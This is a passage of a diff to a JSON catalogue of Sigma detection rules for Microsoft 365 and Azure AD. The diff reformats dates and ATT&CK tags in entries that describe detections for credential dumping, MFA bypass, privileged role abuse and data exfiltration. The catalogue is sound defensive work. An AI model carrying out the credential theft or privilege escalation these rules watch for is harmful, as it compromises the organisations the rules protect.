sign-in attempt due to a login associated with an impossible travel.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2020/07/06", + "creation_date": "2020-07-06", "falsepositive": [ "Unknown" ], @@ -92098,7 +92394,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_impossible_travel_activity.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1078" ] }, @@ -92118,7 +92414,7 @@ "description": "Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "User using a VPN or Proxy" ], @@ -92132,7 +92428,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_activity_from_anonymous_ip_addresses.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1573" ] }, @@ -92152,7 +92448,7 @@ "description": "Detects when a Microsoft Cloud App Security reported a user has deleted a unusual a large volume of files.", "meta": { "author": "austinsonger", - "creation_date": "2021/08/19", + "creation_date": "2021-08-19", "falsepositive": [ "Unknown" ], @@ -92186,7 +92482,7 @@ "description": "Detects when a Microsoft Cloud App Security reported suspicious email forwarding rules, for example, if a user created an inbox rule that forwards a copy of all emails to an external address.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/22", + "creation_date": "2021-08-22", "falsepositive": [ "Unknown" ], @@ -92220,7 +92516,7 @@ "description": "Detects when a Microsoft Cloud App Security reported when an app downloads multiple files from Microsoft SharePoint or Microsoft OneDrive in a manner that is unusual for the user.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unknown" ], @@ -92244,7 +92540,7 @@ "description": "Alert on when a user has performed an eDiscovery search or exported a PST file from the search. This PST file usually has sensitive information including email body content", "meta": { "author": "Sorina Ionescu", - "creation_date": "2022/02/08", + "creation_date": "2022-02-08", "falsepositive": [ "PST export can be done for legitimate purposes but due to the sensitive nature of its content it must be monitored." ], @@ -92277,7 +92573,7 @@ "description": "Detects when a Security Compliance Center reported a user who exceeded sending limits of the service policies and because of this has been restricted from sending email.", "meta": { "author": "austinsonger", - "creation_date": "2021/08/19", + "creation_date": "2021-08-19", "falsepositive": [ "Unknown" ], @@ -92291,7 +92587,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_user_restricted_from_sending_email.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1199" ] }, @@ -92311,7 +92607,7 @@ "description": "Detects when a Microsoft Cloud App Security reported when a user uploads files to the cloud that might be infected with ransomware.", "meta": { "author": "austinsonger", - "creation_date": "2021/08/19", + "creation_date": "2021-08-19", "falsepositive": [ "Unknown" ], @@ -92345,7 +92641,7 @@ "description": "Detects when a Microsoft Cloud App Security reported for users whose account were terminated in Azure AD, but still perform activities in other platforms such as AWS or Salesforce.\nThis is especially relevant for users who use another account to manage resources, since these accounts are often not terminated when a user leaves the company.\n", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unknown" ], @@ -92369,7 +92665,7 @@ "description": "Detects when a Microsoft Cloud App Security reported when a user signs into your sanctioned apps from a risky IP address.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unknown" ], @@ -92383,7 +92679,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_logon_from_risky_ip_address.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1078" ] }, @@ -92403,7 +92699,7 @@ "description": "Detects when a Microsoft Cloud App Security reported when a user or IP address uses an app that is not sanctioned to perform an activity that resembles an attempt to exfiltrate information from your organization.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unknown" ], @@ -92437,7 +92733,7 @@ "description": "Alert when a user has performed an export to a search using 'New-ComplianceSearchAction' with the '-Export' flag. This detection will detect PST export even if the 'eDiscovery search or exported' alert is disabled in the O365.This rule will apply to ExchangePowerShell usage and from the cloud.", "meta": { "author": "Nikita Khalimonenkov", - "creation_date": "2022/11/17", + "creation_date": "2022-11-17", "falsepositive": [ "Exporting a PST can be done for legitimate purposes by legitimate sources, but due to the sensitive nature of PST content, it must be monitored." ], @@ -92470,7 +92766,7 @@ "description": "Detects when a Microsoft Cloud App Security reported users were active from an IP address identified as risky by Microsoft Threat Intelligence.\nThese IP addresses are involved in malicious activities, such as Botnet C&C, and may indicate compromised account.\n", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unknown" ], @@ -92484,7 +92780,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_detection/microsoft365_from_susp_ip_addresses.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1573" ] }, @@ -92504,7 +92800,7 @@ "description": "Monitor and alert on group membership removal of groups that have CA policy modification access", "meta": { "author": "Mark Morowczynski '@markmorow', Thomas Detzner '@tdetzner'", - "creation_date": "2022/08/04", + "creation_date": "2022-08-04", "falsepositive": [ "User removed from the group is approved" ], @@ -92517,7 +92813,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_group_user_removal_ca_modification.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1548", "attack.t1556" @@ -92546,7 +92842,7 @@ "description": "Monitor and alert for users added to device admin roles.", "meta": { "author": "Michael Epping, '@mepples21'", - "creation_date": "2022/06/28", + "creation_date": "2022-06-28", "falsepositive": [ "Unknown" ], @@ -92559,8 +92855,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_ad_users_added_to_device_admin_roles.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1078.004" ] }, @@ -92580,7 +92876,7 @@ "description": "Detects when a new admin is created.", "meta": { "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H', Tim Shelton", - "creation_date": "2022/08/11", + "creation_date": "2022-08-11", "falsepositive": [ "A legitimate new admin account being created" ], @@ -92594,7 +92890,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1078.004" ] }, @@ -92614,7 +92910,7 @@ "description": "Detects when a user is added to a privileged role.", "meta": { "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "creation_date": "2022/08/06", + "creation_date": "2022-08-06", "falsepositive": [ "Legtimate administrator actions of adding members from a role" ], @@ -92627,8 +92923,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_priviledged_role_assignment_add.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", + "attack.privilege-escalation", + "attack.defense-evasion", "attack.t1078.004" ] }, @@ -92648,7 +92944,7 @@ "description": "Monitor and alert for changes to the device registration policy.", "meta": { "author": "Michael Epping, '@mepples21'", - "creation_date": "2022/06/28", + "creation_date": "2022-06-28", "falsepositive": [ "Unknown" ], @@ -92661,8 +92957,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_ad_device_registration_policy_changes.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1484" ] }, @@ -92682,7 +92978,7 @@ "description": "Detects guest users being invited to tenant by non-approved inviters", "meta": { "author": "MikeDuddington, '@dudders1'", - "creation_date": "2022/07/28", + "creation_date": "2022-07-28", "falsepositive": [ "If this was approved by System Administrator." ], @@ -92695,7 +92991,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_ad_guest_users_invited_to_tenant_by_non_approved_inviters.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1078" ] }, @@ -92715,7 +93011,7 @@ "description": "Monitor and alert on conditional access changes.", "meta": { "author": "Corissa Koopmans, '@corissalea'", - "creation_date": "2022/07/18", + "creation_date": "2022-07-18", "falsepositive": [ "Misconfigured role permissions", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." @@ -92729,7 +93025,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_aad_secops_new_ca_policy_addedby_bad_actor.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1548" ] }, @@ -92749,7 +93045,7 @@ "description": "Identifies when an user or application modified the federation settings on the domain.", "meta": { "author": "Austin Songer", - "creation_date": "2021/09/06", + "creation_date": "2021-09-06", "falsepositive": [ "Federation Settings being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", @@ -92764,7 +93060,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_federation_modified.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1078" ] }, @@ -92784,7 +93080,7 @@ "description": "Detects when an end user consents to an application", "meta": { "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", - "creation_date": "2022/07/28", + "creation_date": "2022-07-28", "falsepositive": [ "Unknown" ], @@ -92797,7 +93093,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_end_user_consent.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1528" ] }, @@ -92817,7 +93113,7 @@ "description": "Detects when a user that doesn't have permissions to invite a guest user attempts to invite one.", "meta": { "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "creation_date": "2022/08/10", + "creation_date": "2022-08-10", "falsepositive": [ "A non malicious user is unaware of the proper process" ], @@ -92831,7 +93127,7 @@ ], "tags": [ "attack.persistence", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1078.004" ] }, @@ -92851,7 +93147,7 @@ "description": "Detects when a temporary access pass (TAP) is added to an account. TAPs added to priv accounts should be investigated", "meta": { "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "creation_date": "2022/08/10", + "creation_date": "2022-08-10", "falsepositive": [ "Administrator adding a legitimate temporary access pass" ], @@ -92884,7 +93180,7 @@ "description": "Detect when a user has reset their password in Azure AD", "meta": { "author": "YochanaHenderson, '@Yochana-H'", - "creation_date": "2022/08/03", + "creation_date": "2022-08-03", "falsepositive": [ "If this was approved by System Administrator or confirmed user action." ], @@ -92898,7 +93194,7 @@ ], "tags": [ "attack.persistence", - "attack.credential_access", + "attack.credential-access", "attack.t1078.004" ] }, @@ -92918,7 +93214,7 @@ "description": "Detects when a new credential is added to an existing application. Any additional credentials added outside of expected processes could be a malicious actor using those credentials.", "meta": { "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", - "creation_date": "2022/05/26", + "creation_date": "2022-05-26", "falsepositive": [ "When credentials are added/removed as part of the normal working hours/workflows" ], @@ -92951,7 +93247,7 @@ "description": "Detects when changes are made to PIM roles", "meta": { "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "creation_date": "2022/08/09", + "creation_date": "2022-08-09", "falsepositive": [ "Legit administrative PIM setting configuration changes" ], @@ -92964,7 +93260,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_pim_change_settings.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.persistence", "attack.t1078.004" ] @@ -92985,7 +93281,7 @@ "description": "Detects when a configuration change is made to an applications URI.\nURIs for domain names that no longer exist (dangling URIs), not using HTTPS, wildcards at the end of the domain, URIs that are no unique to that app, or URIs that point to domains you do not control should be investigated.\n", "meta": { "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", - "creation_date": "2022/06/02", + "creation_date": "2022-06-02", "falsepositive": [ "When and administrator is making legitimate URI configuration changes to an application. This should be a planned event." ], @@ -93001,8 +93297,8 @@ "attack.t1528", "attack.t1078.004", "attack.persistence", - "attack.credential_access", - "attack.privilege_escalation" + "attack.credential-access", + "attack.privilege-escalation" ] }, "related": [ @@ -93028,7 +93324,7 @@ "description": "Monitor and alert on group membership additions of groups that have CA policy modification access", "meta": { "author": "Mark Morowczynski '@markmorow', Thomas Detzner '@tdetzner'", - "creation_date": "2022/08/04", + "creation_date": "2022-08-04", "falsepositive": [ "User removed from the group is approved" ], @@ -93041,7 +93337,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_group_user_addition_ca_modification.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1548", "attack.t1556" @@ -93070,7 +93366,7 @@ "description": "Detects when a new owner is added to an application. This gives that account privileges to make modifications and configuration changes to the application.", "meta": { "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", - "creation_date": "2022/06/02", + "creation_date": "2022-06-02", "falsepositive": [ "When a new application owner is added by an administrator" ], @@ -93084,7 +93380,7 @@ ], "tags": [ "attack.t1552", - "attack.credential_access" + "attack.credential-access" ] }, "related": [ @@ -93103,7 +93399,7 @@ "description": "Detects newly added root certificate authority to an AzureAD tenant to support certificate based authentication.", "meta": { "author": "Harjot Shah Singh, '@cyb3rjy0t'", - "creation_date": "2024/03/26", + "creation_date": "2024-03-26", "falsepositive": [ "Unknown" ], @@ -93118,7 +93414,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1556" ] }, @@ -93138,7 +93434,7 @@ "description": "Detects when an account dumps the LAPS password from Entra ID.", "meta": { "author": "andrewdanis", - "creation_date": "2024/06/26", + "creation_date": "2024-06-26", "falsepositive": [ "Approved activity performed by an Administrator." ], @@ -93148,8 +93444,8 @@ "logsource.product": "azure", "refs": [ "https://techcommunity.microsoft.com/t5/microsoft-entra-blog/introducing-windows-local-administrator-password-solution-with/ba-p/1942487", - "https://www.cloudcoffee.ch/microsoft-365/configure-windows-laps-in-microsoft-intune/", "https://twitter.com/NathanMcNulty/status/1785051227568632263", + "https://www.cloudcoffee.ch/microsoft-365/configure-windows-laps-in-microsoft-intune/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_auditlogs_laps_credential_dumping.yml" ], "tags": [ @@ -93172,7 +93468,7 @@ "description": "Detects when an app is assigned Azure AD roles, such as global administrator, or Azure RBAC roles, such as subscription owner.", "meta": { "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", - "creation_date": "2022/07/19", + "creation_date": "2022-07-19", "falsepositive": [ "When the permission is legitimately needed for the app" ], @@ -93186,7 +93482,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1098.003" ] }, @@ -93206,7 +93502,7 @@ "description": "Detects when highly privileged delegated permissions are granted on behalf of all users", "meta": { "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", - "creation_date": "2022/07/28", + "creation_date": "2022-07-28", "falsepositive": [ "When the permission is legitimately needed for the app" ], @@ -93219,7 +93515,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_delegated_permissions_all_users.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1528" ] }, @@ -93239,7 +93535,7 @@ "description": "Detects when a PIM elevation is approved or denied. Outside of normal operations should be investigated.", "meta": { "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "creation_date": "2022/08/09", + "creation_date": "2022-08-09", "falsepositive": [ "Actual admin using PIM." ], @@ -93252,7 +93548,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_pim_activation_approve_deny.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1078.004" ] }, @@ -93272,7 +93568,7 @@ "description": "Detects when administrator grants either application permissions (app roles) or highly privileged delegated permissions", "meta": { "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", - "creation_date": "2022/07/28", + "creation_date": "2022-07-28", "falsepositive": [ "When the permission is legitimately needed for the app" ], @@ -93286,7 +93582,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1098.003" ] }, @@ -93306,7 +93602,7 @@ "description": "Detects the change of user type from \"Guest\" to \"Member\" for potential elevation of privilege.", "meta": { "author": "MikeDuddington, '@dudders1'", - "creation_date": "2022/06/30", + "creation_date": "2022-06-30", "falsepositive": [ "If this was approved by System Administrator." ], @@ -93319,8 +93615,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_guest_to_member.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.initial_access", + "attack.privilege-escalation", + "attack.initial-access", "attack.t1078.004" ] }, @@ -93340,7 +93636,7 @@ "description": "Monitor and alert on conditional access changes. Is Initiated by (actor) approved to make changes? Review Modified Properties and compare \"old\" vs \"new\" value.", "meta": { "author": "Corissa Koopmans, '@corissalea'", - "creation_date": "2022/07/19", + "creation_date": "2022-07-19", "falsepositive": [ "Misconfigured role permissions", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." @@ -93354,7 +93650,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_aad_secops_ca_policy_updatedby_bad_actor.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1548", "attack.t1556" @@ -93383,7 +93679,7 @@ "description": "Detects when PIM alerts are set to disabled.", "meta": { "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "creation_date": "2022/08/09", + "creation_date": "2022-08-09", "falsepositive": [ "Administrator disabling PIM alerts as an active choice." ], @@ -93397,7 +93693,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1078" ] }, @@ -93417,7 +93713,7 @@ "description": "Change to authentication method could be an indicator of an attacker adding an auth method to the account so they can have continued access.", "meta": { "author": "AlertIQ", - "creation_date": "2021/10/10", + "creation_date": "2021-10-10", "falsepositive": [ "Unknown" ], @@ -93430,10 +93726,10 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_change_to_authentication_method.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1556", "attack.persistence", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1098" ] }, @@ -93460,7 +93756,7 @@ "description": "Detects when a user has been elevated to manage all Azure Subscriptions.\nThis change should be investigated immediately if it isn't planned.\nThis setting could allow an attacker access to Azure subscriptions in your environment.\n", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/11/26", + "creation_date": "2021-11-26", "falsepositive": [ "If this was approved by System Administrator." ], @@ -93473,7 +93769,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_subscription_permissions_elevation_via_auditlogs.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1078" ] }, @@ -93493,7 +93789,7 @@ "description": "Monitor and alert on conditional access changes where non approved actor removed CA Policy.", "meta": { "author": "Corissa Koopmans, '@corissalea'", - "creation_date": "2022/07/19", + "creation_date": "2022-07-19", "falsepositive": [ "Misconfigured role permissions", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." @@ -93507,7 +93803,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_aad_secops_ca_policy_removedby_bad_actor.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1548", "attack.t1556" @@ -93536,7 +93832,7 @@ "description": "Detects when an application is granted delegated or app role permissions for Microsoft Graph, Exchange, Sharepoint, or Azure AD", "meta": { "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", - "creation_date": "2022/07/10", + "creation_date": "2022-07-10", "falsepositive": [ "When the permission is legitimately needed for the app" ], @@ -93549,7 +93845,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_permissions_msft.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1528" ] }, @@ -93569,7 +93865,7 @@ "description": "Detects when a configuration change is made to an applications AppID URI.", "meta": { "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", - "creation_date": "2022/06/02", + "creation_date": "2022-06-02", "falsepositive": [ "When and administrator is making legitimate AppID URI configuration changes to an application. This should be a planned event." ], @@ -93583,8 +93879,8 @@ ], "tags": [ "attack.persistence", - "attack.credential_access", - "attack.privilege_escalation", + "attack.credential-access", + "attack.privilege-escalation", "attack.t1552", "attack.t1078.004" ] @@ -93612,7 +93908,7 @@ "description": "Detects when end user consent is blocked due to risk-based consent.", "meta": { "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", - "creation_date": "2022/07/10", + "creation_date": "2022-07-10", "falsepositive": [ "Unknown" ], @@ -93625,7 +93921,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_end_user_consent_blocked.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1528" ] }, @@ -93645,7 +93941,7 @@ "description": "Detects when an account was created and deleted in a short period of time.", "meta": { "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1', Tim Shelton", - "creation_date": "2022/08/11", + "creation_date": "2022-08-11", "falsepositive": [ "Legit administrative action" ], @@ -93658,7 +93954,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_ad_account_created_deleted.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1078" ] }, @@ -93678,7 +93974,7 @@ "description": "Monitor and alert for Bitlocker key retrieval.", "meta": { "author": "Michael Epping, '@mepples21'", - "creation_date": "2022/06/28", + "creation_date": "2022-06-28", "falsepositive": [ "Unknown" ], @@ -93691,7 +93987,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_ad_bitlocker_key_retrieval.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1078.004" ] }, @@ -93711,7 +94007,7 @@ "description": "Detects when certificate based authentication has been enabled in an Azure Active Directory tenant.", "meta": { "author": "Harjot Shah Singh, '@cyb3rjy0t'", - "creation_date": "2024/03/26", + "creation_date": "2024-03-26", "falsepositive": [ "Unknown" ], @@ -93726,7 +94022,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1556" ] }, @@ -93746,7 +94042,7 @@ "description": "Detects when a user is removed from a privileged role. Bulk changes should be investigated.", "meta": { "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "creation_date": "2022/08/05", + "creation_date": "2022-08-05", "falsepositive": [ "Legtimate administrator actions of removing members from a role" ], @@ -93779,7 +94075,7 @@ "description": "Detects successful authentication from potential clients using legacy authentication via user agent strings. This could be a sign of MFA bypass using a password spray attack.", "meta": { "author": "Harjot Singh, '@cyb3rjy0t'", - "creation_date": "2023/03/20", + "creation_date": "2023-03-20", "falsepositive": [ "Known Legacy Accounts" ], @@ -93788,13 +94084,13 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ + "https://web.archive.org/web/20230217071802/https://blooteem.com/march-2022", "https://www.microsoft.com/en-us/security/blog/2021/10/26/protect-your-business-from-password-sprays-with-microsoft-dart-recommendations/", - "https://blooteem.com/march-2022", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_suspicious_signin_bypassing_mfa.yml" ], "tags": [ - "attack.initial_access", - "attack.credential_access", + "attack.initial-access", + "attack.credential-access", "attack.t1078.004", "attack.t1110" ] @@ -93822,7 +94118,7 @@ "description": "Detect when users are authenticating without MFA being required.", "meta": { "author": "MikeDuddington, '@dudders1'", - "creation_date": "2022/07/27", + "creation_date": "2022-07-27", "falsepositive": [ "If this was approved by System Administrator." ], @@ -93835,8 +94131,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_only_single_factor_auth_required.yml" ], "tags": [ - "attack.initial_access", - "attack.credential_access", + "attack.initial-access", + "attack.credential-access", "attack.t1078.004", "attack.t1556.006" ] @@ -93864,7 +94160,7 @@ "description": "Detect successful authentications from countries you do not operate out of.", "meta": { "author": "MikeDuddington, '@dudders1'", - "creation_date": "2022/07/28", + "creation_date": "2022-07-28", "falsepositive": [ "If this was approved by System Administrator." ], @@ -93877,8 +94173,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_authentications_from_countries_you_do_not_operate_out_of.yml" ], "tags": [ - "attack.initial_access", - "attack.credential_access", + "attack.initial-access", + "attack.credential-access", "attack.t1078.004", "attack.t1110" ] @@ -93906,7 +94202,7 @@ "description": "Detects when successful sign-ins increased by 10% or greater.", "meta": { "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1', Tim Shelton", - "creation_date": "2022/08/11", + "creation_date": "2022-08-11", "falsepositive": [ "Increase of users in the environment" ], @@ -93919,7 +94215,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_auth_sucess_increase.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1078" ] }, @@ -93939,7 +94235,7 @@ "description": "Detects AzureHound (A BloodHound data collector for Microsoft Azure) activity via the default User-Agent that is used during its operation after successful authentication.", "meta": { "author": "Janantha Marasinghe", - "creation_date": "2022/11/27", + "creation_date": "2022-11-27", "falsepositive": [ "Unknown" ], @@ -93980,7 +94276,7 @@ "description": "Monitor and alert for sign-ins where the device was non-compliant.", "meta": { "author": "Michael Epping, '@mepples21'", - "creation_date": "2022/06/28", + "creation_date": "2022-06-28", "falsepositive": [ "Unknown" ], @@ -93993,7 +94289,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_sign_ins_from_noncompliant_devices.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1078.004" ] }, @@ -94013,7 +94309,7 @@ "description": "Detects risky authentication from a non AD registered device without MFA being required.", "meta": { "author": "Harjot Singh, '@cyb3rjy0t'", - "creation_date": "2023/01/10", + "creation_date": "2023-01-10", "falsepositive": [ "Unknown" ], @@ -94026,7 +94322,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_risky_sign_ins_with_singlefactorauth_from_unknown_devices.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1078" ] }, @@ -94046,7 +94342,7 @@ "description": "Resource owner password credentials (ROPC) should be avoided if at all possible as this requires the user to expose their current password credentials to the application directly.\nThe application then uses those credentials to authenticate the user against the identity provider.\n", "meta": { "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", - "creation_date": "2022/06/01", + "creation_date": "2022-06-01", "falsepositive": [ "Applications that are being used as part of automated testing or a legacy application that cannot use any other modern authentication flow" ], @@ -94060,10 +94356,10 @@ ], "tags": [ "attack.t1078", - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", - "attack.initial_access" + "attack.privilege-escalation", + "attack.initial-access" ] }, "related": [ @@ -94082,7 +94378,7 @@ "description": "Alert on when legacy authentication has been used on an account", "meta": { "author": "Yochana Henderson, '@Yochana-H'", - "creation_date": "2022/06/17", + "creation_date": "2022-06-17", "falsepositive": [ "User has been put in acception group so they can use legacy authentication" ], @@ -94095,8 +94391,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_legacy_authentication_protocols.yml" ], "tags": [ - "attack.initial_access", - "attack.credential_access", + "attack.initial-access", + "attack.credential-access", "attack.t1078.004", "attack.t1110" ] @@ -94124,7 +94420,7 @@ "description": "Detect access has been blocked by Conditional Access policies.\nThe access policy does not allow token issuance which might be sights≈ of unauthorizeed login to valid accounts.\n", "meta": { "author": "AlertIQ", - "creation_date": "2021/10/10", + "creation_date": "2021-10-10", "falsepositive": [ "Unknown" ], @@ -94137,8 +94433,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_user_login_blocked_by_conditional_access.yml" ], "tags": [ - "attack.credential_access", - "attack.initial_access", + "attack.credential-access", + "attack.initial-access", "attack.t1110", "attack.t1078.004" ] @@ -94166,7 +94462,7 @@ "description": "Identifies user login with multifactor authentication failures, which might be an indication an attacker has the password for the account but can't pass the MFA challenge.", "meta": { "author": "AlertIQ", - "creation_date": "2021/10/10", + "creation_date": "2021-10-10", "falsepositive": [ "Unknown" ], @@ -94179,8 +94475,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_mfa_interrupted.yml" ], "tags": [ - "attack.initial_access", - "attack.credential_access", + "attack.initial-access", + "attack.credential-access", "attack.t1078.004", "attack.t1110", "attack.t1621" @@ -94216,7 +94512,7 @@ "description": "Define a baseline threshold for failed sign-ins due to Conditional Access failures", "meta": { "author": "Yochana Henderson, '@Yochana-H'", - "creation_date": "2022/06/01", + "creation_date": "2022-06-01", "falsepositive": [ "Service Account misconfigured", "Misconfigured Systems", @@ -94231,8 +94527,8 @@ 